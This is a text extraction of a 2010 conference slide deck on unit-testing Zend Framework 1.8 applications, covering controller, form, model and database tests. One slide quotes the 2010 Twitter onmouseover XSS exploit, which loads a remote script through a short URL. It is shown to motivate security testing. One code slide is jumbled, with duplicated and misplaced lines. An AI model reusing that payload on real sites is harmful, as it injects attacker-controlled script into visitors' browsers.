SlideShare a Scribd company logo
Unit Testing after ZF 1.8
         Michelangelo van Dam
      ZendCon 2010, Santa Clara, CA (USA)
Michelangelo van Dam
‱ Independent Consultant
‱ Zend CertiïŹed Engineer (ZCE)
‱ President of PHPBenelux
This session


  What has changed with ZF 1.8 ?
How do we set up our environment ?
 How are we testing controllers ?
   How are we testing forms ?
   How are we testing models ?
New to unit testing ?
phpunit.de




  http://www.phpunit.de
Matthew Weier O’Phinney




   http://www.slideshare.net/weierophinney/testing-zend-framework-applications
Giorgio Sironi




http://giorgiosironi.blogspot.com/2009/12/practical-php-testing-is-here.html
Zend Framework 1.8
Birth of Zend_Application
‱ bootstrapping an “app”
‱ works the same for any environment
‱ resources through methods (no registry)
‱- clean separation of tests
     unit tests
 -   controller tests
 -   integration tests (db, web services, 
)
Types of tests
Unit Testing
‱- smallest functional code snippet (unit)
     function or class method
‱- aims to challenge logic
     proving A + B gives C (and not D)
‱ helpful for refactoring
‱ essential for bug ïŹxing (is it really a bug ?)
‱ TDD results in better code
‱ higher conïŹdence for developers -> managers
Controller Testing
‱- tests your (ZF) app
     is this url linked to this controller ?
‱- detects early errors
    on front-end (route/page not found)
 - on back-end (database changed, service down, 
)
‱ tests passing back and forth of params
‱ form validation and ïŹltering
‱ security testing (XSS, SQL injection, 
)
Database Testing
‱- tests the functionality of your database
     referred to as “integration testing”
‱- checks functionality
   CRUD
 - stored procedures
 - triggers and constraints
‱ veriïŹes no mystery data changes happen
 - UTF-8 in = UTF-8 out
Application Testing
Setting things up
phpunit.xml
<phpunit bootstrap="./TestHelper.php" colors="true">
    <testsuite name="Zend Framework Unit Test Demo">
        <directory>./</directory>
    </testsuite>

    <!-- Optional settings for filtering and logging -->
    <filter>
        <whitelist>
             <directory suffix=".php">../library/</directory>
             <directory suffix=".php">../application/</directory>
             <exclude>
                 <directory suffix=".phtml">../application/</directory>
             </exclude>
        </whitelist>
    </filter>

    <logging>
        <log type="coverage-html" target="./log/report" charset="UTF-8"
         yui="true" highlight="true" lowUpperBound="50" highLowerBound="80"/>
        <log type="testdox-html" target="./log/testdox.html" />
    </logging>
</phpunit>
TestHelper.php
<?php
// set our app paths and environments
define('BASE_PATH', realpath(dirname(__FILE__) . '/../'));
define('APPLICATION_PATH', BASE_PATH . '/application');
define('TEST_PATH', BASE_PATH . '/tests');
define('APPLICATION_ENV', 'testing');

// Include path
set_include_path('.' . PATH_SEPARATOR . BASE_PATH . '/library'
    . PATH_SEPARATOR . get_include_path());

// Set the default timezone !!!
date_default_timezone_set('Europe/Brussels');

require_once 'Zend/Application.php';
$application = new Zend_Application(APPLICATION_ENV,
    APPLICATION_PATH . '/configs/application.ini');
$application->bootstrap();
TestHelper.php
<?php
// set our app paths and environments
define('BASE_PATH', realpath(dirname(__FILE__) . '/../'));
define('APPLICATION_PATH', BASE_PATH . '/application');
define('TEST_PATH', BASE_PATH . '/tests');
define('APPLICATION_ENV', 'testing');

// Include path
set_include_path('.' . PATH_SEPARATOR . BASE_PATH . '/library'
    . PATH_SEPARATOR . get_include_path());

// Set the default timezone !!!
date_default_timezone_set('Europe/Brussels');

require_once 'Zend/Application.php';
$application = new Zend_Application(APPLICATION_ENV,
    APPLICATION_PATH . '/configs/application.ini');
$application->bootstrap();
ControllerTestCase.php
<?php
require_once 'Zend/Application.php';
require_once 'Zend/Test/PHPUnit/ControllerTestCase.php';

abstract class ControllerTestCase extends
Zend_Test_PHPUnit_ControllerTestCase
{
    protected function setUp()
    {
        // we override the parent::setUp() to solve an issue regarding not
        // finding a default module
    }
}
Directory Strategy
/application                 /tests
    /configs                     /application
    /controllers                     /controllers
    /forms                           /forms
    /models                          /models
    /modules                         /modules
         /guestbook                      /guestbook
             /apis                            /apis
             /controllers                     /controllers
             /forms                           /forms
             /models                          /models
             /views
                  /helpers
                  /filters
                  /scripts
    /views
         /helpers
         /filters
         /scripts
/library
/public
/tests
Testing Controllers
Homepage testing
<?php
// file: tests/application/controllers/IndexControllerTest.php
require_once TEST_PATH . '/ControllerTestCase.php';

class IndexControllerTest extends ControllerTestCase
{
    public function testCanWeDisplayOurHomepage()
    {
        // go to the main page of the web application
        $this->dispatch('/');

        // check if we don't end up on an error page
        $this->assertNotController('error');
        $this->assertNotAction('error');

        // ok, no error so let's see if we're at our homepage
        $this->assertModule('default');
        $this->assertController('index');
        $this->assertAction('index');
        $this->assertResponseCode(200);
    }
}
Running the tests
testdox.html
Code coverage
Testing Forms
Guestbook form
fullName
emailAddress
website
comment




               submit
Simple comment form
<?php
class Application_Form_Comment extends Zend_Form
{
    public function init()
    {
        $this->addElement('text', 'fullName', array (
            'label' => 'Full name', 'required' => true));
        $this->addElement('text', 'emailAddress', array (
            'label' => 'E-mail address', 'required' => true));
        $this->addElement('text', 'website', array (
            'label' => 'Website URL', 'required' => false));
        $this->addElement('textarea', 'comment', array (
            'label' => 'Your comment', 'required' => false));
        $this->addElement('submit', 'send', array (
            'Label' => 'Send', 'ignore' => true));
    }
}
CommentController
<?php
   class CommentController extends Zend_Controller_Action
   {
       protected $_session;

      public function init()
      {
          $this->_session = new Zend_Session_Namespace('comment');
      }

      public function indexAction()
      {
          $form = new Application_Form_Comment(array (
              'action' => $this->_helper->url('send-comment'),
              'method' => 'POST',
          ));
          if (isset ($this->_session->commentForm)) {
              $form = unserialize($this->_session->commentForm);
              unset ($this->_session->commentForm);
          }
          $this->view->form = $form;
      }
  }
Comment processing
<?php
   class CommentController extends Zend_Controller_Action
   {
       


      public function sendCommentAction()
      {
          $request = $this->getRequest();
          if (!$request->isPost()) {
              return $this->_helper->redirector('index');
          }
          $form = new Application_Form_Comment();
          if (!$form->isValid($request->getPost())) {
              $this->_session->commentForm = serialize($form);
              return $this->_helper->redirector('index');
          }
          $values = $form->getValues();
          $this->view->values = $values;
      }
  }
Views
<!-- file: application/views/scripts/comment/index.phtml -->
  <?php echo $this->form ?>

  <!-- file: application/views/scripts/comment/send-comment.phtml -->
  <dl>
  <?php if (isset ($this->values['website'])): ?>
  <dt id="fullName"><a href="<?php echo $this->escape($this->values
  ['website']) ?>"><?php echo $this->escape($this->values['fullName']) ?></a></
  dt>
  <?php else: ?>
  <dt id="fullName"><?php echo $this->escape($this->values['fullName']) ?></dt>
  <?php endif; ?>
  <dd id="comment"><?php echo $this->escape($this->values['comment']) ?></dd>
  </dl>
The Form
Comment processed
And now
 testing
Starting simple
<?php
   // file: tests/application/controllers/IndexControllerTest.php
   require_once TEST_PATH . '/ControllerTestCase.php';

   class CommentControllerTest extends ControllerTestCase
   {
       public function testCanWeDisplayOurForm()
       {
           // go to the main comment page of the web application
           $this->dispatch('/comment');

           // check if we don't end up on an error page
           $this->assertNotController('error');
           $this->assertNotAction('error');

           $this->assertModule('default');
           $this->assertController('comment');
           $this->assertAction('index');
           $this->assertResponseCode(200);

           $this->assertQueryCount('form', 1);
                 $this->assertQueryCount('form', 1);
           $this->assertQueryCount('input[type="text"]', 2);

       }
                 $this->assertQueryCount('input[type="text"]', 3);
           $this->assertQueryCount('textarea', 1);

   }             $this->assertQueryCount('textarea', 1);
GET request = index ?
public function testSubmitFailsWhenNotPost()
  {
      $this->request->setMethod('get');
      $this->dispatch('/comment/send-comment');
      $this->assertResponseCode(302);
      $this->assertRedirectTo('/comment');
  }
Can we submit our form ?
public function testCanWeSubmitOurForm()
{
    $this->request->setMethod('post')
                  ->setPost(array (
                    'fullName'      => 'Unit Tester',
                    'emailAddress' => 'test@example.com',
                    'website'       => 'http://www.example.com',
                    'comment'       => 'This is a simple test',
                  ));
    $this->dispatch('/comment/send-comment');

    $this->assertQueryCount('dt', 1);
    $this->assertQueryCount('dd', 1);
    $this->assertQueryContentContains('dt#fullName',
        '<a href="http://www.example.com">Unit Tester</a>');
    $this->assertQueryContentContains('dd#comment', 'This is a simple test');
}
All other cases ?
/**
  * @dataProvider wrongDataProvider
  */
public function testSubmitFailsWithWrongData($fullName, $emailAddress,
$comment)
{
     $this->request->setMethod('post')
                   ->setPost(array (
                     'fullName'      => $fullName,
                     'emailAddress' => $emailAddress,
                     'comment'       => $comment,
                   ));
     $this->dispatch('/comment/send-comment');

    $this->assertResponseCode(302);
    $this->assertRedirectTo('/comment');
}
wrongDataProvider
public function wrongDataProvider()
  {
      return array (
          array ('', '', ''),
          array ('~', 'bogus', ''),
          array ('', 'test@example.com', 'This is correct text'),
          array ('Test User', '', 'This is correct text'),
          array ('Test User', 'test@example.com', str_repeat('a', 50001)),
      );
  }
Running the tests
Our testdox.html
Code Coverage
Practical use
September 21, 2010
CNN reports




http://www.cnn.com/2010/TECH/social.media/09/21/twitter.security.ïŹ‚aw/index.html
The exploit


http://t.co/@”style=”font-size:999999999999px;
”onmouseover=”$.getScript(‘http:u002fu002fis.gd
u002ffl9A7â€Č)”/




  http://www.developerzen.com/2010/09/21/write-your-own-twitter-com-xss-exploit/
Unit Testing (models)
Guestbook Models
Testing models
‱ uses core PHPUnit_Framework_TestCase class
‱ tests your business logic !
‱ can run independent from other tests
‱- model testing !== database testing
     model testing tests the logic in your objects
 -   database testing tests the data storage
Model setUp/tearDown
<?php
require_once 'PHPUnit/Framework/TestCase.php';
class Application_Model_GuestbookTest extends PHPUnit_Framework_TestCase
{
    protected $_gb;

    protected function setUp()
    {
        parent::setUp();
        $this->_gb = new Application_Model_Guestbook();
    }
    protected function tearDown()
    {
        $this->_gb = null;
        parent::tearDown();
    }
    

}
Simple tests
public function testGuestBookIsEmptyAtConstruct()
{
    $this->assertType('Application_Model_GuestBook', $this->_gb);
    $this->assertFalse($this->_gb->hasEntries());
    $this->assertSame(0, count($this->_gb->getEntries()));
    $this->assertSame(0, count($this->_gb));
}
public function testGuestbookAddsEntry()
{
    $entry = new Application_Model_GuestbookEntry();
    $entry->setFullName('Test user')
          ->setEmailAddress('test@example.com')
          ->setComment('This is a test');

    $this->_gb->addEntry($entry);
    $this->assertTrue($this->_gb->hasEntries());
    $this->assertSame(1, count($this->_gb));
}
GuestbookEntry tests


public function gbEntryProvider()
{
    return array (
        array (array (
            'fullName' => 'Test User',
            'emailAddress' => 'test@example.com',
            'website' => 'http://www.example.com',
            'comment' => 'This is a test',
            'timestamp' => '2010-01-01 00:00:00',
        )),
        array (array (
            'fullName' => 'Test Manager',
            'emailAddress' => 'testmanager@example.com',
            'website' => 'http://tests.example.com',
            'comment' => 'This is another test',
            'timestamp' => '2010-01-01 01:00:00',
        )),
    );
}

/**
  * @dataProvider gbEntryProvider
  * @param $data
  */
public function testEntryCanBePopulatedAtConstruct($data)
{
     $entry = new Application_Model_GuestbookEntry($data);
     $this->assertSame($data, $entry->__toArray());
}


Running the tests
Our textdox.html
Code Coverage
Database Testing
Database Testing
‱- integration testing
   seeing records are getting updated
 - data models behave as expected
 - data doesn't change encoding (UTF-8 to Latin1)
‱ database behaviour testing
 - CRUD
 - stored procedures
 - triggers
 - master/slave - cluster
 - sharding
Caveats
‱- database should be reset in a “known state”
     no inïŹ‚uence from other tests
‱- system failures cause the test to fail
     connection problems
‱- unpredictable data ïŹelds or types
     auto increment ïŹelds
 -   date ïŹelds w/ CURRENT_TIMESTAMP
Converting modelTest
Model => database
<?php
  require_once 'PHPUnit/Framework/TestCase.php';
  class Application_Model_GuestbookEntryTest extends PHPUnit_Framework_TestCase
  {
  

  }

  Becomes

  <?php
  require_once TEST_PATH . '/DatabaseTestCase.php';
  class Application_Model_GuestbookEntryTest extends DatabaseTestCase
  {
  

  }
DatabaseTestCase.php
<?php
  require_once 'Zend/Application.php';
  require_once 'Zend/Test/PHPUnit/DatabaseTestCase.php';
  require_once 'PHPUnit/Extensions/Database/DataSet/FlatXmlDataSet.php';

  abstract class DatabaseTestCase extends Zend_Test_PHPUnit_DatabaseTestCase
  {
      private $_dbMock;
      private $_application;

      protected function setUp()
      {
          $this->_application = new Zend_Application(
              APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
          $this->bootstrap = array($this, 'appBootstrap');
          parent::setUp();
      }
      

DatabaseTestCase.php (2)
    

        public function appBootstrap()
        {
            $this->application->bootstrap();
        }
        protected function getConnection()
        {
            if (null === $this->_dbMock) {
                $bootstrap = $this->application->getBootstrap();
                $bootstrap->bootstrap('db');
                $connection = $bootstrap->getResource('db');
                $this->_dbMock = $this->createZendDbConnection($connection,'in2it');
                Zend_Db_Table_Abstract::setDefaultAdapter($connection);
            }
            return $this->_dbMock;
        }
        protected function getDataSet()
        {
            return $this->createFlatXMLDataSet(
                dirname(__FILE__) . '/_files/initialDataSet.xml');
        }
}
_ïŹles/initialDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
  <dataset>
      <gbentry id="1"
               fullName="Test User"
               emailAddress="test@example.com"
               website="http://www.example.com"
               comment="This is a first test"
               timestamp="2010-01-01 00:00:00"/>
      <gbentry id="2"
               fullName="Obi Wan Kenobi"
               emailAddress="obi-wan@jedi-council.com"
               website="http://www.jedi-council.com"
               comment="May the phporce be with you"
               timestamp="2010-01-01 01:00:00"/>
      <comment id="1" comment= "Good article, thanks"/>
      <comment id="2" comment= "Haha, Obi Wan
 liking this very much"/>
      

  </dataset>
A simple DB test
    public function testNewEntryPopulatesDatabase()
{
    $data = $this->gbEntryProvider();
    foreach ($data as $row) {
        $entry = new Application_Model_GuestbookEntry($row[0]);
        $entry->save();
        unset ($entry);
    }
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
        $this->getConnection()
    );
    $ds->addTable('gbentry', 'SELECT * FROM gbentry');
    $dataSet = $this->createFlatXmlDataSet(
            TEST_PATH . "/_files/addedTwoEntries.xml");
    $filteredDataSet = new PHPUnit_Extensions_Database_DataSet_DataSetFilter(
        $dataSet, array('gbentry' => array('id')));
    $this->assertDataSetsEqual($filteredDataSet, $ds);
}
location of datasets
<approot>/application
         /public
         /tests
            /_files
                 initialDataSet.xml
                 readingDataFromSource.xml
Running the tests
Our textdox.html
CodeCoverage
Changing records
public function testNewEntryPopulatesDatabase()
{
    $data = $this->gbEntryProvider();
    foreach ($data as $row) {
        $entry = new Application_Model_GuestbookEntry($row[0]);
        $entry->save();
        unset ($entry);
    }
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
        $this->getConnection()
    );
    $ds->addTable('gbentry', 'SELECT fullName, emailAddress, website, comment,
timestamp FROM gbentry');
    $this->assertDataSetsEqual(
        $this->createFlatXmlDataSet(
            TEST_PATH . "/_files/addedTwoEntries.xml"),
        $ds
    );
}
Expected resultset
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
    <gbentry fullName="Test User" emailAddress="test@example.com"
             website="http://www.example.com" comment="This is a first test"
             timestamp="2010-01-01 00:00:00"/>
    <gbentry fullName="Obi Wan Kenobi" emailAddress="obi-wan@jedi-
council.com"
             website="http://www.jedi-council.com" comment="May the phporce
be with you"
             timestamp="2010-01-01 01:00:00"/>
    <gbentry fullName="Test User" emailAddress="test@example.com"
             website="http://www.example.com" comment="This is a test"
             timestamp="2010-01-01 00:00:00"/>
    <gbentry fullName="Test Manager" emailAddress="testmanager@example.com"
             website="http://tests.example.com" comment="This is another
test"
             timestamp="2010-01-01 01:00:00"/>
</dataset>
location of datasets
<approot>/application
         /public
         /tests
            /_files
                 initialDataSet.xml
                 readingDataFromSource.xml
                 addedTwoEntries.xml
Running the tests
The testdox.html
CodeCoverage
Testing strategies
Desire vs Reality
‱- desire
     +70% code coverage
 -   test driven development
 -   clean separation of tests

‱- reality
     test what counts ïŹrst (business logic)
 -   discover the “unknowns” and test them
 -   combine unit tests with integration tests
Automation
‱- using a CI system
   continuous running your tests
 - reports immediately when failure
 - provides extra information
  ‣ copy/paste detection
  ‣ mess detection &dependency calculations
  ‣ lines of code
  ‣ code coverage
  ‣ story board and test documentation
  ‣ 

Questions
‱ http://slideshare.net/DragonBe/unit-testing-after-zf-18
‱ http://github.com/DragonBe/zfunittest
‱ http://twitter.com/DragonBe
‱ http://facebook.com/DragonBe
‱ http://joind.in/2243
http://conference.phpbenelux.eu

More Related Content

What's hot (20)

PDF
WORKSHOP I: IntroducciĂłn a API REST
BEEVA_es
 
PPTX
Lambda Expressions in C# From Beginner To Expert - Jaliya Udagedara
Jaliya Udagedara
 
PPT
4.C#
Raghu nath
 
PPT
Jdbc ppt
Vikas Jagtap
 
PPT
Control structures i
Ahmad Idrees
 
PPT
Generics in java
suraj pandey
 
PPT
Js ppt
Rakhi Thota
 
PPTX
Css selectors
Parth Trivedi
 
PDF
Java 8 Lambda Expressions
Scott Leberknight
 
PDF
Threads concept in java
Muthukumaran Subramanian
 
PPT
What Is Php
AVC
 
PPT
Html
Mallikarjuna G D
 
PPTX
Event In JavaScript
ShahDhruv21
 
PDF
spring-api-rest.pdf
Jaouad Assabbour
 
PDF
JavaScript - Chapter 10 - Strings and Arrays
WebStackAcademy
 
PDF
What is REST API? REST API Concepts and Examples | Edureka
Edureka!
 
PPT
PHP - Introduction to PHP Fundamentals
Vibrant Technologies & Computers
 
PPT
JDBC – Java Database Connectivity
Information Technology
 
PPTX
Form Handling using PHP
Nisa Soomro
 
PDF
JavaScript Programming
Sehwan Noh
 
WORKSHOP I: IntroducciĂłn a API REST
BEEVA_es
 
Lambda Expressions in C# From Beginner To Expert - Jaliya Udagedara
Jaliya Udagedara
 
4.C#
Raghu nath
 
Jdbc ppt
Vikas Jagtap
 
Control structures i
Ahmad Idrees
 
Generics in java
suraj pandey
 
Js ppt
Rakhi Thota
 
Css selectors
Parth Trivedi
 
Java 8 Lambda Expressions
Scott Leberknight
 
Threads concept in java
Muthukumaran Subramanian
 
What Is Php
AVC
 
Event In JavaScript
ShahDhruv21
 
spring-api-rest.pdf
Jaouad Assabbour
 
JavaScript - Chapter 10 - Strings and Arrays
WebStackAcademy
 
What is REST API? REST API Concepts and Examples | Edureka
Edureka!
 
PHP - Introduction to PHP Fundamentals
Vibrant Technologies & Computers
 
JDBC – Java Database Connectivity
Information Technology
 
Form Handling using PHP
Nisa Soomro
 
JavaScript Programming
Sehwan Noh
 

Viewers also liked (20)

KEY
PHPUnit testing to Zend_Test
Michelangelo van Dam
 
PDF
C++ material
vamshi batchu
 
DOC
software testing
vamshi batchu
 
DOC
Data flowtesting doc
vamshi batchu
 
PDF
Stm unit1
Chaitanya Kn
 
DOC
Path testing
vamshi batchu
 
DOC
Transactionflow
vamshi batchu
 
PPT
Testing
vamshi batchu
 
PPTX
Path testing
Mohamed Ali
 
PPT
Taxonomy for bugs
Harika Krupal
 
PPTX
Unit 3 Control Flow Testing
ravikhimani
 
PDF
Bug taxonomy
Md. Mahedi Mahfuj
 
PDF
Normalization in Database
Roshni Singh
 
PPTX
Path Testing
Sun Technlogies
 
PPTX
Basis path testing
Hoa Le
 
PPT
Software Testing Techniques
Kiran Kumar
 
PPS
Testing techniques
RaginiRohatgi
 
PPT
DBMS - Normalization
Jitendra Tomar
 
PPT
Databases: Normalisation
Damian T. Gordon
 
PPT
Database Normalization 1NF, 2NF, 3NF, BCNF, 4NF, 5NF
Oum Saokosal
 
PHPUnit testing to Zend_Test
Michelangelo van Dam
 
C++ material
vamshi batchu
 
software testing
vamshi batchu
 
Data flowtesting doc
vamshi batchu
 
Stm unit1
Chaitanya Kn
 
Path testing
vamshi batchu
 
Transactionflow
vamshi batchu
 
Testing
vamshi batchu
 
Path testing
Mohamed Ali
 
Taxonomy for bugs
Harika Krupal
 
Unit 3 Control Flow Testing
ravikhimani
 
Bug taxonomy
Md. Mahedi Mahfuj
 
Normalization in Database
Roshni Singh
 
Path Testing
Sun Technlogies
 
Basis path testing
Hoa Le
 
Software Testing Techniques
Kiran Kumar
 
Testing techniques
RaginiRohatgi
 
DBMS - Normalization
Jitendra Tomar
 
Databases: Normalisation
Damian T. Gordon
 
Database Normalization 1NF, 2NF, 3NF, BCNF, 4NF, 5NF
Oum Saokosal
 
Ad

Similar to Unit testing after Zend Framework 1.8 (20)

KEY
Unit testing with zend framework PHPBenelux
Michelangelo van Dam
 
PDF
Unit testing with zend framework tek11
Michelangelo van Dam
 
KEY
Unit testing zend framework apps
Michelangelo van Dam
 
KEY
Workshop quality assurance for php projects tek12
Michelangelo van Dam
 
PDF
Quality Assurance for PHP projects - ZendCon 2012
Michelangelo van Dam
 
PDF
Nashville Symfony Functional Testing
Brent Shaffer
 
PDF
Workshop quality assurance for php projects - phpdublin
Michelangelo van Dam
 
PDF
2010 07-28-testing-zf-apps
Venkata Ramana
 
PDF
symfony on action - WebTech 207
patter
 
PDF
Workshop quality assurance for php projects - phpbelfast
Michelangelo van Dam
 
PDF
Workshop quality assurance for php projects - ZendCon 2013
Michelangelo van Dam
 
PPT
Getting Started with Zend Framework
Juan Antonio
 
KEY
Re-imaginging CakePHP
Graham Weldon
 
PDF
Zend
Mohamed Ramadan
 
PDF
Zend Framework 2, What's new, Confoo 2011
Bachkoutou Toutou
 
PDF
QA for PHP projects
Michelangelo van Dam
 
PDF
Intro To Mvc Development In Php
funkatron
 
ODP
CodeIgniter PHP MVC Framework
Bo-Yi Wu
 
PDF
Introduction to Zend framework
Matteo Magni
 
Unit testing with zend framework PHPBenelux
Michelangelo van Dam
 
Unit testing with zend framework tek11
Michelangelo van Dam
 
Unit testing zend framework apps
Michelangelo van Dam
 
Workshop quality assurance for php projects tek12
Michelangelo van Dam
 
Quality Assurance for PHP projects - ZendCon 2012
Michelangelo van Dam
 
Nashville Symfony Functional Testing
Brent Shaffer
 
Workshop quality assurance for php projects - phpdublin
Michelangelo van Dam
 
2010 07-28-testing-zf-apps
Venkata Ramana
 
symfony on action - WebTech 207
patter
 
Workshop quality assurance for php projects - phpbelfast
Michelangelo van Dam
 
Workshop quality assurance for php projects - ZendCon 2013
Michelangelo van Dam
 
Getting Started with Zend Framework
Juan Antonio
 
Re-imaginging CakePHP
Graham Weldon
 
Zend Framework 2, What's new, Confoo 2011
Bachkoutou Toutou
 
QA for PHP projects
Michelangelo van Dam
 
Intro To Mvc Development In Php
funkatron
 
CodeIgniter PHP MVC Framework
Bo-Yi Wu
 
Introduction to Zend framework
Matteo Magni
 
Ad

More from Michelangelo van Dam (20)

PDF
GDPR Art. 25 - Privacy by design and default
Michelangelo van Dam
 
PDF
Moving from app services to azure functions
Michelangelo van Dam
 
PDF
Privacy by design
Michelangelo van Dam
 
PDF
DevOps or DevSecOps
Michelangelo van Dam
 
PDF
Privacy by design
Michelangelo van Dam
 
PDF
Continuous deployment 2.0
Michelangelo van Dam
 
PDF
Let your tests drive your code
Michelangelo van Dam
 
PDF
General Data Protection Regulation, a developer's story
Michelangelo van Dam
 
PDF
Leveraging a distributed architecture to your advantage
Michelangelo van Dam
 
PDF
The road to php 7.1
Michelangelo van Dam
 
PDF
Open source for a successful business
Michelangelo van Dam
 
PDF
Decouple your framework now, thank me later
Michelangelo van Dam
 
PDF
Deploy to azure in less then 15 minutes
Michelangelo van Dam
 
PDF
Azure and OSS, a match made in heaven
Michelangelo van Dam
 
PDF
Getting hands dirty with php7
Michelangelo van Dam
 
PDF
Zf2 how arrays will save your project
Michelangelo van Dam
 
PDF
Create, test, secure, repeat
Michelangelo van Dam
 
PDF
The Continuous PHP Pipeline
Michelangelo van Dam
 
PDF
PHPUnit Episode iv.iii: Return of the tests
Michelangelo van Dam
 
PDF
Easily extend your existing php app with an api
Michelangelo van Dam
 
GDPR Art. 25 - Privacy by design and default
Michelangelo van Dam
 
Moving from app services to azure functions
Michelangelo van Dam
 
Privacy by design
Michelangelo van Dam
 
DevOps or DevSecOps
Michelangelo van Dam
 
Privacy by design
Michelangelo van Dam
 
Continuous deployment 2.0
Michelangelo van Dam
 
Let your tests drive your code
Michelangelo van Dam
 
General Data Protection Regulation, a developer's story
Michelangelo van Dam
 
Leveraging a distributed architecture to your advantage
Michelangelo van Dam
 
The road to php 7.1
Michelangelo van Dam
 
Open source for a successful business
Michelangelo van Dam
 
Decouple your framework now, thank me later
Michelangelo van Dam
 
Deploy to azure in less then 15 minutes
Michelangelo van Dam
 
Azure and OSS, a match made in heaven
Michelangelo van Dam
 
Getting hands dirty with php7
Michelangelo van Dam
 
Zf2 how arrays will save your project
Michelangelo van Dam
 
Create, test, secure, repeat
Michelangelo van Dam
 
The Continuous PHP Pipeline
Michelangelo van Dam
 
PHPUnit Episode iv.iii: Return of the tests
Michelangelo van Dam
 
Easily extend your existing php app with an api
Michelangelo van Dam
 

Recently uploaded (20)

PDF
🚀 Let’s Build Our First Slack Workflow! 🔧.pdf
SanjeetMishra29
 
PDF
Deploy Faster, Run Smarter: Learn Containers with QNAP
QNAP Marketing
 
PPTX
Wondershare Filmora Crack Free Download 2025
josanj305
 
PDF
Darley - FIRST Copenhagen Lightning Talk (2025-06-26) Epochalypse 2038 - Time...
treyka
 
PPTX
MARTSIA: A Tool for Confidential Data Exchange via Public Blockchain - Poster...
Michele Kryston
 
PDF
Draugnet: Anonymous Threat Reporting for a World on Fire
treyka
 
PPTX
2025 HackRedCon Cyber Career Paths.pptx Scott Stanton
Scott Stanton
 
PPTX
MARTSIA: A Tool for Confidential Data Exchange via Public Blockchain - Pitch ...
Michele Kryston
 
PPTX
Enabling the Digital Artisan – keynote at ICOCI 2025
Alan Dix
 
PDF
Java 25 and Beyond - A Roadmap of Innovations
Ana-Maria Mihalceanu
 
PDF
GDG Cloud Southlake #44: Eyal Bukchin: Tightening the Kubernetes Feedback Loo...
James Anderson
 
PDF
Quantum Threats Are Closer Than You Think – Act Now to Stay Secure
WSO2
 
PDF
Modern Decentralized Application Architectures.pdf
Kalema Edgar
 
PDF
Next Generation AI: Anticipatory Intelligence, Forecasting Inflection Points ...
dleka294658677
 
PDF
99 Bottles of Trust on the Wall — Operational Principles for Trust in Cyber C...
treyka
 
PDF
Transcript: Book industry state of the nation 2025 - Tech Forum 2025
BookNet Canada
 
PPTX
Securing Model Context Protocol with Keycloak: AuthN/AuthZ for MCP Servers
Hitachi, Ltd. OSS Solution Center.
 
PPTX
CapCut Pro PC Crack Latest Version Free Free
josanj305
 
PPTX
Agentforce World Tour Toronto '25 - Supercharge MuleSoft Development with Mod...
Alexandra N. Martinez
 
PDF
What’s my job again? Slides from Mark Simos talk at 2025 Tampa BSides
Mark Simos
 
🚀 Let’s Build Our First Slack Workflow! 🔧.pdf
SanjeetMishra29
 
Deploy Faster, Run Smarter: Learn Containers with QNAP
QNAP Marketing
 
Wondershare Filmora Crack Free Download 2025
josanj305
 
Darley - FIRST Copenhagen Lightning Talk (2025-06-26) Epochalypse 2038 - Time...
treyka
 
MARTSIA: A Tool for Confidential Data Exchange via Public Blockchain - Poster...
Michele Kryston
 
Draugnet: Anonymous Threat Reporting for a World on Fire
treyka
 
2025 HackRedCon Cyber Career Paths.pptx Scott Stanton
Scott Stanton
 
MARTSIA: A Tool for Confidential Data Exchange via Public Blockchain - Pitch ...
Michele Kryston
 
Enabling the Digital Artisan – keynote at ICOCI 2025
Alan Dix
 
Java 25 and Beyond - A Roadmap of Innovations
Ana-Maria Mihalceanu
 
GDG Cloud Southlake #44: Eyal Bukchin: Tightening the Kubernetes Feedback Loo...
James Anderson
 
Quantum Threats Are Closer Than You Think – Act Now to Stay Secure
WSO2
 
Modern Decentralized Application Architectures.pdf
Kalema Edgar
 
Next Generation AI: Anticipatory Intelligence, Forecasting Inflection Points ...
dleka294658677
 
99 Bottles of Trust on the Wall — Operational Principles for Trust in Cyber C...
treyka
 
Transcript: Book industry state of the nation 2025 - Tech Forum 2025
BookNet Canada
 
Securing Model Context Protocol with Keycloak: AuthN/AuthZ for MCP Servers
Hitachi, Ltd. OSS Solution Center.
 
CapCut Pro PC Crack Latest Version Free Free
josanj305
 
Agentforce World Tour Toronto '25 - Supercharge MuleSoft Development with Mod...
Alexandra N. Martinez
 
What’s my job again? Slides from Mark Simos talk at 2025 Tampa BSides
Mark Simos
 

Unit testing after Zend Framework 1.8

  • 1. Unit Testing after ZF 1.8 Michelangelo van Dam ZendCon 2010, Santa Clara, CA (USA)
  • 2. Michelangelo van Dam ‱ Independent Consultant ‱ Zend CertiïŹed Engineer (ZCE) ‱ President of PHPBenelux
  • 3. This session What has changed with ZF 1.8 ? How do we set up our environment ? How are we testing controllers ? How are we testing forms ? How are we testing models ?
  • 4. New to unit testing ?
  • 6. Matthew Weier O’Phinney http://www.slideshare.net/weierophinney/testing-zend-framework-applications
  • 9. Birth of Zend_Application ‱ bootstrapping an “app” ‱ works the same for any environment ‱ resources through methods (no registry) ‱- clean separation of tests unit tests - controller tests - integration tests (db, web services, 
)
  • 11. Unit Testing ‱- smallest functional code snippet (unit) function or class method ‱- aims to challenge logic proving A + B gives C (and not D) ‱ helpful for refactoring ‱ essential for bug ïŹxing (is it really a bug ?) ‱ TDD results in better code ‱ higher conïŹdence for developers -> managers
  • 12. Controller Testing ‱- tests your (ZF) app is this url linked to this controller ? ‱- detects early errors on front-end (route/page not found) - on back-end (database changed, service down, 
) ‱ tests passing back and forth of params ‱ form validation and ïŹltering ‱ security testing (XSS, SQL injection, 
)
